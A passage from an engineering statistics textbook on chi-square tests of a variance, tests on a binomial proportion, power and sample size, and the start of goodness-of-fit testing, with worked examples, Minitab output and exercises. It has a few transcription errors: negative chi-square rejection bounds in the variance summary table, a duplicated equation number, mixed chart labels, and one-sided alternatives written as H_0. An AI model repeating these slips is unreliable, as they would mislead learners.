$$\begin{aligned} H_0&: \sigma^2 = \sigma_0^2 \\ H_1&: \sigma^2 \neq \sigma_0^2 \end{aligned} \tag{9-34}$$

we will use the test statistic:

Test Statistic

$$X_0^2 = \frac{(n-1)S^2}{\sigma_0^2} \tag{9-35}$$

Figure 9-14 Reference distribution for the test of H_0: $\sigma^2 = \sigma_0^2$ with critical region values for (a) H_1: $\sigma^2 \neq \sigma_0^2$, (b) H_1: $\sigma^2 > \sigma_0^2$, and (c) H_1: $\sigma^2 < \sigma_0^2$.

If the null hypothesis H_0: $\sigma^2 = \sigma_0^2$ is true, the test statistic χ_0^2 defined in Equation 9-35 follows the chi-square distribution with $n - 1$ degrees of freedom. This is the reference distribution for this test procedure. To perform a fixed significance level test, we would take a random sample from the population of interest, calculate χ_0^2, the value of the test statistic X_0^2, and the null hypothesis H_0: $\sigma^2 = \sigma_0^2$ would be rejected if

$$\chi_0^2 > \chi^2_{\alpha/2,n-1} \quad \text{or if} \quad \chi_0^2 < \chi^2_{1-\alpha/2,n-1}$$

where $\chi^2_{\alpha/2,n-1}$ and $\chi^2_{1-\alpha/2,n-1}$ are the upper and lower $100\alpha/2$ percentage points of the chi-square distribution with $n - 1$ degrees of freedom, respectively. Figure 9-14(a) shows the critical region.

The same test statistic is used for one-sided alternative hypotheses. For the one-sided hypotheses

$$\begin{aligned} H_0&: \sigma^2 = \sigma_0^2 \\ H_1&: \sigma^2 > \sigma_0^2 \end{aligned} \tag{9-33}$$

we would reject H_0 if $\chi_0^2 > \chi^2_{\alpha,n-1}$, whereas for the other one-sided hypotheses

$$\begin{aligned} H_0&: \sigma^2 = \sigma_0^2 \\ H_1&: \sigma^2 < \sigma_0^2 \end{aligned} \tag{9-34}$$

we would reject H_0 if $\chi_0^2 < \chi^2_{1-\alpha,n-1}$. The one-sided critical regions are shown in Fig. 9-14(b) and (c).

Tests on the Variance of a Normal Distribution

Null hypothesis: H_0: $\sigma^2 = \sigma_0^2$

Test statistic: $\chi_0^2 = \dfrac{(n-1)S^2}{\sigma_0^2}$

Alternative hypothesis	Rejection criteria
H_1: $\sigma^2 \neq \sigma_0^2$	$\chi_0^2 > \chi^2_{\alpha/2,n-1}$ or $\chi_0^2 < -\chi^2_{\alpha/2,n-1}$
H_1: $\sigma^2 > \sigma_0^2$	$\chi_0^2 > \chi^2_{\alpha,n-1}$
H_1: $\sigma^2 < \sigma_0^2$	$\chi_0^2 < -\chi^2_{\alpha,n-1}$

EXAMPLE 9-8 Automated Filling

An automated filling machine is used to fill bottles with liquid detergent. A random sample of 20 bottles results in a sample variance of fill volume of $s^2 = 0.0153$ (fluid ounces)^2. If the variance of fill volume exceeds 0.01 (fluid ounces)^2, an unacceptable proportion of bottles will be underfilled or overfilled. Is there evidence in the sample data to suggest that the manufacturer has a problem with underfilled or overfilled bottles? Use $\alpha = 0.05$, and assume that fill volume has a normal distribution.

Using the seven-step procedure results in the following:

1. **Parameter of Interest:** The parameter of interest is the population variance σ^2.
2. **Null hypothesis:** H_0: $\sigma^2 = 0.01$
3. **Alternative hypothesis:** H_1: $\sigma^2 > 0.01$
4. **Test statistic:** The test statistic is

$$\chi_0^2 = \frac{(n-1)s^2}{\sigma_0^2}$$

5. **Reject H_0:** Use $\alpha = 0.05$, and reject H_0 if $\chi_0^2 > \chi_{0.05,19}^2 = 30.14$.
6. **Computations:**

$$\chi_0^2 = \frac{19(0.0153)}{0.01} = 29.07$$

7. **Conclusions:** Since $\chi_0^2 = 29.07 < \chi_{0.05,19}^2 = 30.14$, we conclude that there is no strong evidence that the variance of fill volume exceeds 0.01 (fluid ounces)^2. So there is no strong evidence of a problem with incorrectly filled bottles.

We can also use the P-value approach. Using Appendix Table III, it is easy to place bounds on the P-value of a chi-square test. From inspection of the table, we find that $\chi_{0.10,19}^2 = 27.20$ and $\chi_{0.05,19}^2 = 30.14$. Since $27.20 < 29.07 < 30.14$, we conclude that the P-value for the test in Example 9-8 is in the interval $0.05 < P\text{-value} < 0.10$. The actual P-value can be computed from Minitab. For 19 degrees of freedom, Minitab calculates the cumulative chi-square probability that is less than or equal to the value of the test statistic as 0.935108 (use the cumulative distribution function in the Calc menu). This is the probability to the left of (or below) 29.07, and the P-value is the probability above or beyond 29.07, or $P = 1 - 0.935108 = 0.064892$.

The P-value for a lower-tail test would be found as the area (probability) in the lower tail of the chi-square distribution to the left of (or below) the computed value of the test statistic χ_0^2. For the two-sided alternative, find the tail area associated with the computed value of the test statistic and double it to obtain the P-value.

Minitab will perform the test on a variance of a normal distribution described in this section. The output for Example 9-8 is as follows:

Test and CI for One Variance

Method

Null hypothesis	Sigma-squared = 0.01
Alternative hypothesis	Sigma-squared > 0.01

Statistics

N	StDev	Variance
20	0.124	0.0153

95% One-Sided Confidence Intervals

Method	Lower Bound for StDev	Lower Bound for Variance
Standard	0.098	0.0096

Tests

Method	Chi-Square	DF	P-Value
Standard	29.07	19	0.065

The standard method that is referred to is the method described in this section. Minitab also has an adjusted method that can be employed with continuous nonnormal distributions.

9-4.2 Type II Error and Choice of Sample Size

Operating characteristic curves for the chi-square tests in Section 9-4.1 are provided in Appendix Charts VI*i* through VI*n* for $\alpha = 0.05$ and $\alpha = 0.01$. For the two-sided alternative hypothesis of Equation 9-34, Charts VII*i* and VII*j* plot β against an abscissa parameter

$$\lambda = \frac{\sigma}{\sigma_0} \tag{9-38}$$

for various sample sizes n, where σ denotes the true value of the standard deviation. Charts VI*k* and VI*l* are for the one-sided alternative H_1: $\sigma^2 > \sigma_0^2$, while Charts VII*m* and VII*n* are for the other one-sided alternative H_1: $\sigma^2 < \sigma_0^2$. In using these charts, we think of σ as the value of the standard deviation that we want to detect.

These curves can be used to evaluate the β-error (or power) associated with a particular test. Alternatively, they can be used to **design** a test—that is, to determine what sample size is necessary to detect a particular value of σ that differs from the hypothesized value σ_0.

EXAMPLE 9-9 Automated Filling Sample Size

Consider the bottle-filling problem from Example 9-8. If the variance of the filling process exceeds 0.01 (fluid ounces)^2, too many bottles will be underfilled. Thus, the hypothesized value of the standard deviation is $\sigma_0 = 0.10$. Suppose that if the true standard deviation of the filling process exceeds this value by 25%, we would like to detect this with probability at least 0.8. Is the sample size of $n = 20$ adequate?

To solve this problem, note that we require

$$\lambda = \frac{\sigma}{\sigma_0} = \frac{0.125}{0.10} = 1.25$$

This is the abscissa parameter for Chart VII*k*. From this chart, with $n = 20$ and $\lambda = 1.25$, we find that $\beta \simeq 0.6$. Therefore, there is only about a 40% chance that the null hypothesis will be rejected if the true standard deviation is really as large as $\sigma = 0.125$ fluid ounce.

To reduce the β-error, a larger sample size must be used. From the operating characteristic curve with $\beta = 0.20$ and $\lambda = 1.25$, we find that $n = 75$, approximately. Thus, if we want the test to perform as required above, the sample size must be at least 75 bottles.

EXERCISES FOR SECTION 9-4

9-71. Consider the test of H_0: $\sigma^2 = 7$ against H_1: $\sigma^2 \neq 7$. What are the critical values for the test statistic X_0^2 for the following significance levels and sample sizes?
(a) $\alpha = 0.01$ and $n = 20$
(b) $\alpha = 0.05$ and $n = 12$
(c) $\alpha = 0.10$ and $n = 15$

9-72. Consider the test of H_0: $\sigma^2 = 10$ against H_1: $\sigma^2 > 10$. What are the critical values for the test statistic X_0^2 for the following significance levels and sample sizes?
(a) $\alpha = 0.01$ and $n = 20$
(b) $\alpha = 0.05$ and $n = 12$
(c) $\alpha = 0.10$ and $n = 15$

9-73. Consider the test of H_0: $\sigma^2 = 5$ against H_1: $\sigma^2 < 5$. What are the critical values for the test statistic X_0^2 for the following significance levels and sample sizes?
(a) $\alpha = 0.01$ and $n = 20$
(b) $\alpha = 0.05$ and $n = 12$
(c) $\alpha = 0.10$ and $n = 15$

9-74. Consider the hypothesis test of H_0: $\sigma^2 = 7$ against H_1: $\sigma^2 \neq 7$. Approximate the P-value for each of the following test statistics.
(a) $x_0^2 = 25.2$ and $n = 20$ (b) $x_0^2 = 15.2$ and $n = 12$
(c) $x_0^2 = 23.0$ and $n = 15$

9-75. Consider the test of H_0: $\sigma^2 = 5$ against H_1: $\sigma^2 < 5$. Approximate the P-value for each of the following test statistics.
(a) $x_0^2 = 25.2$ and $n = 20$
(b) $x_0^2 = 15.2$ and $n = 12$
(c) $x_0^2 = 4.2$ and $n = 15$

9-76. Consider the hypothesis test of H_0: $\sigma^2 = 10$ against H_1: $\sigma^2 > 10$. Approximate the P-value for each of the following test statistics.
(a) $x_0^2 = 25.2$ and $n = 20$
(b) $x_0^2 = 15.2$ and $n = 12$
(c) $x_0^2 = 4.2$ and $n = 15$

9-77. The data from *Medicine and Science in Sports and Exercise* described in Exercise 8-48 considered ice hockey player performance after electrostimulation training. In summary, there were 17 players and the sample standard deviation of performance was 0.09 seconds.
(a) Is there strong evidence to conclude that the standard deviation of performance time exceeds the historical value of 0.75 seconds? Use $\alpha = 0.05$. Find the P-value for this test.
(b) Discuss how part (a) could be answered by constructing a 95% one-sided confidence interval for σ.

9-78. The data from *Technometrics* described in Exercise 8-51 considered the variability in repeated measurements of the weight of a sheet of paper. In summary, the sample standard deviation from 15 measurements was 0.0083 grams.
(a) Does the measurement standard deviation differ from 0.01 grams at $\alpha = 0.05$? Find the P-value for this test.
(b) Discuss how part (a) could be answered by constructing a confidence interval for σ.

9-79. Reconsider the percentage of titanium in an alloy used in aerospace castings from Exercise 8-47. Recall that $s = 0.37$ and $n = 51$.
(a) Test the hypothesis H_0: $\sigma = 0.25$ versus H_1: $\sigma \neq 0.25$ using $\alpha = 0.05$. State any necessary assumptions about the underlying distribution of the data. Find the P-value.
(b) Explain how you could answer the question in part (a) by constructing a 95% two-sided confidence interval for σ.

9-80. Data from an Izod impact test was described in Exercise 8-28. The sample standard deviation was 0.25 and $n = 20$ specimens were tested.
(a) Test the hypothesis that $\sigma = 0.10$ against an alternative specifying that $\sigma \neq 0.10$, using $\alpha = 0.01$, and draw a conclusion. State any necessary assumptions about the underlying distribution of the data.
(b) What is the P-value for this test?
(c) Could the question in part (a) have been answered by constructing a 99% two-sided confidence interval for σ^2?

9-81. Data for tire life was described in Exercise 8-27. The sample standard deviation was 3645.94 kilometers and $n = 16$.
(a) Can you conclude, using $\alpha = 0.05$, that the standard deviation of tire life is less than 4000 kilometers? State any necessary assumptions about the underlying distribution of the data. Find the P-value for this test.
(b) Explain how you could answer the question in part (a) by constructing a 95% one-sided confidence interval for σ.

9-82. If the standard deviation of hole diameter exceeds 0.01 millimeters, there is an unacceptably high probability that the rivet will not fit. Suppose that $n = 15$ and $s = 0.008$ millimeter.
(a) Is there strong evidence to indicate that the standard deviation of hole diameter exceeds 0.01 millimeter? Use $\alpha = 0.01$. State any necessary assumptions about the underlying distribution of the data. Find the P-value for this test.
(b) Suppose that the actual standard deviation of hole diameter exceeds the hypothesized value by 50%. What is the probability that this difference will be detected by the test described in part (a)?
(c) If σ is really as large as 0.0125 millimeters, what sample size will be required to detect this with power of at least 0.8?

9-83. Recall the sugar content of the syrup in canned peaches from Exercise 8-46. Suppose that the variance is thought to be $\sigma^2 = 18$ (milligrams)^2. Recall that a random sample of $n = 10$ cans yields a sample standard deviation of $s = 4.8$ milligrams.
(a) Test the hypothesis H_0: $\sigma^2 = 18$ versus H_1: $\sigma^2 \neq 18$ using $\alpha = 0.05$. Find the P-value for this test.
(b) Suppose that the actual standard deviation is twice as large as the hypothesized value. What is the probability that this difference will be detected by the test described in part (a)?
(c) Suppose that the true variance is $\sigma^2 = 40$. How large a sample would be required to detect this difference with probability at least 0.90?

9-5 TESTS ON A POPULATION PROPORTION

It is often necessary to test hypotheses on a population proportion. For example, suppose that a random sample of size n has been taken from a large (possibly infinite) population and that $X(\leq n)$ observations in this sample belong to a class of interest. Then $\hat{P} = X/n$ is a point estimator of the proportion of the population p that belongs to this class. Note that n and p are the parameters of a binomial distribution. Furthermore, from Chapter 7 we know that the sampling distribution of $\hat{P}$ is approximately normal with mean p and variance $p(1 - p)/n$, if

p is not too close to either 0 or 1 and if n is relatively large. Typically, to apply this approximation we require that np and $n(1 - p)$ be greater than or equal to 5. We will give a large-sample test that makes use of the normal approximation to the binomial distribution.

9-5.1 Large-Sample Tests on a Proportion

In many engineering problems, we are concerned with a random variable that follows the binomial distribution. For example, consider a production process that manufactures items that are classified as either acceptable or defective. It is usually reasonable to model the occurrence of defectives with the binomial distribution, where the binomial parameter p represents the proportion of defective items produced. Consequently, many engineering decision problems involve hypothesis testing about p.

We will consider testing

$$\begin{aligned} H_0&: p = p_0 \\ H_1&: p \neq p_0 \end{aligned} \tag{9-39}$$

An approximate test based on the normal approximation to the binomial will be given. As noted above, this approximate procedure will be valid as long as p is not extremely close to zero or one, and if the sample size is relatively large. Let X be the number of observations in a random sample of size n that belongs to the class associated with p. Then, if the null hypothesis H_0: $p = p_0$ is true, we have $X \sim N[np_0, np_0(1 - p_0)]$, approximately. To test H_0: $p = p_0$, calculate the test statistic

Test Statistic

$$Z_0 = \frac{X - np_0}{\sqrt{np_0(1 - p_0)}} \tag{9-40}$$

and determine the P-value. Because the test statistic follows a standard normal distribution if H_0 is true, the P-value is calculated exactly like the P-value for the z-tests in Section 9-2. So for the two-sided alternative hypothesis, the P-value is the sum of the probability in the standard normal distribution above $|z_0|$ and the probability below the negative value $-|z_0|$, or

$$P = 2[1 - \Phi(|z_0|)]$$

For the one-sided alternative hypothesis H_0: $p > p_0$, the P-value is the probability above z_0, or

$$P = 1 - \Phi(z_0)$$

and for the one-sided alternative hypothesis H_0: $p < p_0$, the P-value is the probability below z_0, or

$$P = \Phi(z_0)$$

We can also perform a **fixed-significance-level** test. For the two-sided alternative hypothesis, we would reject H_0: $p \neq p_0$ if

$$z_0 > z_{\alpha/2} \quad \text{or} \quad z_0 < -z_{\alpha/2}$$

Critical regions for the one-sided alternative hypotheses would be constructed in the usual manner.

Summary of Approximate Tests on a Binomial Proportion

Testing Hypotheses on a Binomial Proportion

Null hypotheses: $H_0: p = p_0$

Test statistic: $$Z_0 = \frac{X - np_0}{\sqrt{np_0(1 - p_0)}}$$

Alternative Hypotheses	*P*-Value	Rejection Criterion for Fixed-Level Tests
$H_1: p \neq p_0$	Probability above $\lvert z_0 \rvert$ and probability below $-\lvert z_0 \rvert$ $P = 2[1 - \Phi(z_0)]$	$z_0 > z_{\alpha/2}$ or $z_0 < -z_{\alpha/2}$
$H_1: p > p_0$	Probability above z_0, $P = 1 - \Phi(z_0)$	$z_0 > z_\alpha$
$H_1: p < p_0$	Probability below z_0, $P = \Phi(z_0)$	$z_0 < -z_\alpha$

EXAMPLE 9-10 Automobile Engine Controller

A semiconductor manufacturer produces controllers used in automobile engine applications. The customer requires that the process fallout or fraction defective at a critical manufacturing step not exceed 0.05 and that the manufacturer demonstrate process capability at this level of quality using $\alpha = 0.05$. The semiconductor manufacturer takes a random sample of 200 devices and finds that four of them are defective. Can the manufacturer demonstrate process capability for the customer?

We may solve this problem using the seven-step hypothesis-testing procedure as follows:

1. **Parameter of Interest:** The parameter of interest is the process fraction defective p.
2. **Null hypothesis:** $H_0: p = 0.05$
3. **Alternative hypothesis:** $H_1: p < 0.05$
   This formulation of the problem will allow the manufacturer to make a strong claim about process capa bility if the null hypothesis $H_0: p = 0.05$ is rejected.
4. The test statistic is (from Equation 9-40)
   $$z_0 = \frac{x - np_0}{\sqrt{np_0(1 - p_0)}}$$
   where $x = 4$, $n = 200$, and $p_0 = 0.05$.
5. **Reject H_0 if:** Reject $H_0: p = 0.05$ if the p-value is less than 0.05.
6. **Computations:** The test statistic is
   $$z_0 = \frac{4 - 200(0.05)}{\sqrt{200(0.05)(0.95)}} = -1.95$$
7. **Conclusions:** Since $z_0 = -1.95$, the P-value is $\Phi(-1.95) = 0.0256$, so we reject H_0 and conclude that the process fraction defective p is less than 0.05.

Practical Interpretation: We conclude that the process is capable.

Another form of the test statistic Z_0 in Equation 9-40 is occasionally encountered. Note that if X is the number of observations in a random sample of size n that belongs to a class of interest, then $\hat{P} = X/n$ is the sample proportion that belongs to that class. Now divide both numerator and denominator of Z_0 in Equation 9-40 by n, giving

$$Z_0 = \frac{X/n - p_0}{\sqrt{p_0(1 - p_0)/n}}$$

or

$$Z_0 = \frac{\hat{P} - p_0}{\sqrt{p_0(1 - p_0)/n}} \tag{9-41}$$

This presents the test statistic in terms of the sample proportion instead of the number of items X in the sample that belongs to the class of interest.

Minitab can be used to perform the test on a binomial proportion. The following Minitab output shows the results for Example 9-10.

Test and CI for One Proportion

Test of $p = 0.05$ vs $p < 0.05$

Sample	X	N	Sample p	95% Upper Bound	Z-Value	P-Value
1	4	200	0.020000	0.036283	−1.95	0.026

* Note * The normal approximation may be inaccurate for small samples.

This output also shows a 95% one-sided upper-confidence bound on P. In Section 8-4 we showed how CIs on a binomial proportion are computed. This Minitab display shows the result of using the normal approximation for tests and CIs. When the sample size is small, this may be inappropriate.

Small Sample Tests on a Binomial Proportion

Tests on a proportion when the sample size n is small are based on the binomial distribution, not the normal approximation to the binomial. To illustrate, suppose we wish to test H_0: $p < p_0$. Let X be the number of successes in the sample. The P-value for this test would be found from the lower tail of a binomial distribution with parameters n and p_0. Specifically, the P-value would be the probability that a binomial random variable with parameters n and p_0 is less than or equal to X. P-values for the upper-tail one-sided test and the two-sided alternative are computed similarly.

Minitab will calculate the exact P-value for a binomial test. The output below contains the exact P-value results for Example 9-10.

Test of $p = 0.05$ vs $p < 0.05$

Sample	X	N	Sample p	95% Upper Bound	Exact P-Value
1	4	200	0.020000	0.045180	0.026

The P-value is the same as that reported for the normal approximation, because the sample size is fairly large. Notice that the CI is different from the one found using the normal approximation.

9-5.2 Type II Error and Choice of Sample Size

It is possible to obtain closed-form equations for the approximate β-error for the tests in Section 9-5.1. Suppose that p is the true value of the population proportion. The approximate β-error for the two-sided alternative H_1: $p \neq p_0$ is

$$\beta = \Phi\left(\frac{p_0 - p + z_{\alpha/2}\sqrt{p_0(1-p_0)/n}}{\sqrt{p(1-p)/n}}\right) - \Phi\left(\frac{p_0 - p - z_{\alpha/2}\sqrt{p_0(1-p_0)/n}}{\sqrt{p(1-p)/n}}\right) \quad (9\text{-}42)$$

If the alternative is H_1: $p < p_0$,

$$\beta = 1 - \Phi\left(\frac{p_0 - p - z_{\alpha}\sqrt{p_0(1-p_0)/n}}{\sqrt{p(1-p)/n}}\right) \quad (9\text{-}43)$$

whereas if the alternative is H_1: $p > p_0$,

$$\beta = \Phi\left(\frac{p_0 - p + z_\alpha\sqrt{p_0(1-p_0)/n}}{\sqrt{p(1-p)/n}}\right) \tag{9-44}$$

These equations can be solved to find the approximate sample size n that gives a test of level α that has a specified β risk. The sample size equations are

Approximate Sample Size for a Two-Sided Test on a Binomial Proportion

$$n = \left[\frac{z_{\alpha/2}\sqrt{p_0(1-p_0)} + z_\beta\sqrt{p(1-p)}}{p - p_0}\right]^2 \tag{9-45}$$

for a two-sided alternative and

Approximate Sample Size for a One-Sided Test on a Binomial Proportion

$$n = \left[\frac{z_\alpha\sqrt{p_0(1-p_0)} + z_\beta\sqrt{p(1-p)}}{p - p_0}\right]^2 \tag{9-46}$$

for a one-sided alternative.

EXAMPLE 9-11 Automobile Engine Controller Type II Error

Consider the semiconductor manufacturer from Example 9-10. Suppose that its process fallout is really $p = 0.03$. What is the β-error for a test of process capability that uses $n = 200$ and $\alpha = 0.05$?

The β-error can be computed using Equation 9-43 as follows:

$$\beta = 1 - \Phi\left[\frac{0.05 - 0.03 - (1.645)\sqrt{0.05(0.95)/200}}{\sqrt{0.03(1-0.03)/200}}\right]$$
$$= 1 - \Phi(-0.44) = 0.67$$

Thus, the probability is about 0.7 that the semiconductor manufacturer will fail to conclude that the process is capable if the true process fraction defective is $p = 0.03$ (3%). That is, the power of the test against this particular alternative is only about 0.3. This appears to be a large β-error (or small power), but the difference between $p = 0.05$ and $p = 0.03$ is fairly small, and the sample size $n = 200$ is not particularly large.

Suppose that the semiconductor manufacturer was willing to accept a β-error as large as 0.10 if the true value of the process fraction defective was $p = 0.03$. If the manufacturer continues to use $\alpha = 0.05$, what sample size would be required?

The required sample size can be computed from Equation 9-46 as follows:

$$n = \left[\frac{1.645\sqrt{0.05(0.95)} + 1.28\sqrt{0.03(0.97)}}{0.03 - 0.05}\right]^2$$
$$\simeq 832$$

where we have used $p = 0.03$ in Equation 9-46.

Conclusion: Note that $n = 832$ is a very large sample size. However, we are trying to detect a fairly small deviation from the null value $p_0 = 0.05$.

Minitab will also perform power and sample size calculations for the one-sample Z-test on a proportion. Output from Minitab for the engine controllers tested in Example 9-10 follows.

Power and Sample Size

Test for One Proportion
Testing proportion = 0.05 (versus < 0.05)
Alpha = 0.05

Alternative Proportion	Sample Size	Power
3.00E-02	200	0.3287

Power and Sample Size

Test for One Proportion
Testing proportion = 0.05 (versus < 0.05)
Alpha = 0.05

Alternative Proportion	Sample Size	Target Power	Actual Power
3.00E-02	833	0.9000	0.9001

Power and Sample Size

Test for One Proportion
Testing proportion = 0.05 (versus < 0.05)
Alpha = 0.05

Alternative Proportion	Sample Size	Target Power	Actual Power
3.00E-02	561	0.7500	0.7503

The first part of the output shows the power calculation based on the situation described in Example 9-11, where the true proportion is really 0.03. The power calculation from Minitab agrees with the results from Equation 9-43 in Example 9-11. The second part of the output computes the sample size necessary for a power of 0.9 ($\beta = 0.1$) if $p = 0.03$. Again, the results agree closely with those obtained from Equation 9-46. The final portion of the display shows the sample size that would be required if $p = 0.03$ and the power requirement is relaxed to 0.75. Notice that the sample size of $n = 561$ is still quite large because the difference between $p = 0.05$ and $p = 0.03$ is fairly small.

EXERCISES FOR SECTION 9-5

9-84. Consider the computer output below.

Test and CI for One Proportion
Test of $p = 0.4$ vs p not $= 0.4$

X	N	Sample p	95% CI	Z-Value	P-Value
98	275	?	(0.299759, 0.412968)	?	?

Using the normal approximation.
(a) Is this a one-sided or a two-sided test?
(b) Complete the missing items.
(c) The normal approximation was used in the problem. Was that appropriate?

9-85. Consider the computer output below.

Test and CI for One Proportion
Test of $p = 0.6$ vs $p < 0.6$

X	N	Sample p	95% Upper Bound	Z-Value	P-Value
287	500	?	?	?	?

(a) Is this a one-sided or a two-sided test?
(b) Is this a test based on the normal approximation? Is that appropriate?
(c) Complete the missing items.
(d) Suppose that the alternative hypothesis was two-sided. What is the P-value for this situation?

9-86. Suppose that 1000 customers are surveyed and 850 are satisfied or very satisfied with a corporation's products and services.

(a) Test the hypothesis $H_0: p = 0.9$ against $H_1: p \neq 0.9$ at $\alpha = 0.05$. Find the P-value.

(b) Explain how the question in part (a) could be answered by constructing a 95% two-sided confidence interval for p.

9-87. Suppose that 500 parts are tested in manufacturing and 10 are rejected.

(a) Test the hypothesis $H_0: p = 0.03$ against $H_1: p < 0.03$ at $\alpha = 0.05$. Find the P-value.

(b) Explain how the question in part (a) could be answered by constructing a 95% one-sided confidence interval for p.

9-88. A random sample of 300 circuits generated 13 defectives.

(a) Use the data to test $H_0: p = 0.05$ versus $H_1: p \neq 0.05$. Use $\alpha = 0.05$. Find the P-value for the test.

(b) Explain how the question in part (a) could be answered with a confidence interval.

9-89. An article in the *British Medical Journal* ["Comparison of Treatment of Renal Calculi by Operative Surgery, Percutaneous Nephrolithotomy, and Extra-Corporeal Shock Wave Lithotrips," (1986, Vol. 292, pp. 879–882)] found that percutaneous nephrolithotomy (PN) had a success rate in removing kidney stones of 289 out of 350 patients. The traditional method was 78% effective.

(a) Is there evidence that the success rate for PN is greater than the historical success rate? Find the P-value.

(b) Explain how the question in part (a) could be answered with a confidence interval.

9-90. A manufacturer of interocular lenses is qualifying a new grinding machine and will qualify the machine if there is evidence that the percentage of polished lenses that contain surface defects does not exceed 2%. A random sample of 250 lenses contains six defective lenses.

(a) Formulate and test an appropriate set of hypotheses to determine if the machine can be qualified. Use $\alpha = 0.05$. Find the P-value.

(b) Explain how the question in part (a) could be answered with a confidence interval.

9-91. A researcher claims that at least 10% of all football helmets have manufacturing flaws that could potentially cause injury to the wearer. A sample of 200 helmets revealed that 16 helmets contained such defects.

(a) Does this finding support the researcher's claim? Use $\alpha = 0.01$. Find the P-value.

(b) Explain how the question in part (a) could be answered with a confidence interval.

9-92. An article in *Fortune* (September 21, 1992) claimed that nearly one-half of all engineers continue academic studies beyond the B.S. degree, ultimately receiving either an M.S. or a Ph.D. degree. Data from an article in *Engineering Horizons* (Spring 1990) indicated that 117 of 484 new engineering graduates were planning graduate study.

(a) Are the data from *Engineering Horizons* consistent with the claim reported by *Fortune*? Use $\alpha = 0.05$ in reaching your conclusions. Find the P-value for this test.

(b) Discuss how you could have answered the question in part (a) by constructing a two-sided confidence interval on p.

9-93. The advertised claim for batteries for cell phones is set at 48 operating hours, with proper charging procedures. A study of 5000 batteries is carried out and 15 stop operating prior to 48 hours. Do these experimental results support the claim that less than 0.2 percent of the company's batteries will fail during the advertised time period, with proper charging procedures? Use a hypothesis-testing procedure with $\alpha = 0.01$.

9-94. A random sample of 500 registered voters in Phoenix is asked if they favor the use of oxygenated fuels year-round to reduce air pollution. If more than 315 voters respond positively, we will conclude that at least 60% of the voters favor the use of these fuels.

(a) Find the probability of type I error if exactly 60% of the voters favor the use of these fuels.

(b) What is the type II error probability β if 75% of the voters favor this action?

9-95. In a random sample of 85 automobile engine crankshaft bearings, 10 have a surface finish roughness that exceeds the specifications. Does this data present strong evidence that the proportion of crankshaft bearings exhibiting excess surface roughness exceeds 0.10?

(a) State and test the appropriate hypotheses using $\alpha = 0.05$.

(b) If it is really the situation that $p = 0.15$, how likely is it that the test procedure in part (a) will not reject the null hypothesis?

(c) If $p = 0.15$, how large would the sample size have to be for us to have a probability of correctly rejecting the null hypothesis of 0.9?

9-6 SUMMARY TABLE OF INFERENCE PROCEDURES FOR A SINGLE SAMPLE

The table in the end papers of this book (inside back cover) presents a summary of all the single-sample inference procedures from Chapters 8 and 9. The table contains the null hypothesis statement, the test statistic, the various alternative hypotheses and the criteria

for rejecting H_0, and the formulas for constructing the $100(1 - \alpha)\%$ two-sided confidence interval. It would also be helpful to refer to the roadmap table in Chapter 8 that provides guidance to match the problem type to the information inside the back cover.

9-7 TESTING FOR GOODNESS OF FIT

The hypothesis-testing procedures that we have discussed in previous sections are designed for problems in which the population or probability distribution is known and the hypotheses involve the parameters of the distribution. Another kind of hypothesis is often encountered: We do not know the underlying distribution of the population, and we wish to test the hypothesis that a particular distribution will be satisfactory as a population model. For example, we might wish to test the hypothesis that the population is normal.

We have previously discussed a very useful graphical technique for this problem called **probability plotting** and illustrated how it was applied in the case of a normal distribution. In this section, we describe a formal **goodness-of-fit test** procedure based on the chi-square distribution.

The test procedure requires a random sample of size n from the population whose probability distribution is unknown. These n observations are arranged in a frequency histogram, having k bins or class intervals. Let O_i be the observed frequency in the ith class interval. From the hypothesized probability distribution, we compute the expected frequency in the ith class interval, denoted E_i. The test statistic is

Goodness of Fit Test Statistic

$$X_0^2 = \sum_{i=1}^{k} \frac{(O_i - E_i)^2}{E_i} \tag{9-47}$$

It can be shown that, if the population follows the hypothesized distribution, X_0^2 has, approximately, a chi-square distribution with $k - p - 1$ degrees of freedom, where p represents the number of parameters of the hypothesized distribution estimated by sample statistics. This approximation improves as n increases. We should reject the null hypothesis that the population is the hypothesized distribution if the test statistic is too large. Therefore, the P-value would be the probability under the chi-square distribution with $k - p - 1$ degrees of freedom above the computed value of the test statistic χ_0^2 or $P = P(\chi^2_{k-p-1} > \chi_0^2)$. For a fixed-level test, we would reject the hypothesis that the distribution of the population is the hypothesized distribution if the calculated value of the test statistic $\chi_0^2 > \chi^2_{\alpha,k-p-1}$.

One point to be noted in the application of this test procedure concerns the magnitude of the expected frequencies. If these expected frequencies are too small, the test statistic X_0^2 will not reflect the departure of observed from expected, but only the small magnitude of the expected frequencies. There is no general agreement regarding the minimum value of expected frequencies, but values of 3, 4, and 5 are widely used as minimal. Some writers suggest that an expected frequency could be as small as 1 or 2, so long as most of them exceed 5. Should an expected frequency be too small, it can be combined with the expected frequency in an adjacent class interval. The corresponding observed frequencies would then also be combined, and k would be reduced by 1. Class intervals are not required to be of equal width.

We now give two examples of the test procedure.

EXAMPLE 9-12 Printed Circuit Board Defects
Poisson Distribution

The number of defects in printed circuit boards is hypothesized to follow a Poisson distribution. A random sample of $n = 60$ printed boards has been collected, and the following number of defects observed.

Number of Defects	Observed Frequency
0	32
1	15
2	9
3	4

The mean of the assumed Poisson distribution in this example is unknown and must be estimated from the sample data. The estimate of the mean number of defects per board is the sample average, that is, $(32 \cdot 0 + 15 \cdot 1 + 9 \cdot 2 + 4 \cdot 3)/60 = 0.75$. From the Poisson distribution with parameter 0.75, we may compute p_i, the theoretical, hypothesized probability associated with the ith class interval. Since each class interval corresponds to a particular number of defects, we may find the p_i as follows:

$$p_1 = P(X = 0) = \frac{e^{-0.75}(0.75)^0}{0!} = 0.472$$

$$p_2 = P(X = 1) = \frac{e^{-0.75}(0.75)^1}{1!} = 0.354$$

$$p_3 = P(X = 2) = \frac{e^{-0.75}(0.75)^2}{2!} = 0.133$$

$$p_4 = P(X \geq 3) = 1 - (p_1 + p_2 + p_3) = 0.041$$

The expected frequencies are computed by multiplying the sample size $n = 60$ times the probabilities p_i. That is, $E_i = np_i$. The expected frequencies follow:

Number of Defects	Probability	Expected Frequency
0	0.472	28.32
1	0.354	21.24
2	0.133	7.98
3 (or more)	0.041	2.46

Since the expected frequency in the last cell is less than 3, we combine the last two cells:

Number of Defects	Observed Frequency	Expected Frequency
0	32	28.32
1	15	21.24
2 (or more)	13	10.44

The chi-square test statistic in Equation 9-47 will have $k - p - 1 = 3 - 1 - 1 = 1$ degree of freedom, because the mean of the Poisson distribution was estimated from the data.

The seven-step hypothesis-testing procedure may now be applied, using $\alpha = 0.05$, as follows:

1. **Parameter of interest:** The variable of interest is the form of the distribution of defects in printed circuit boards.
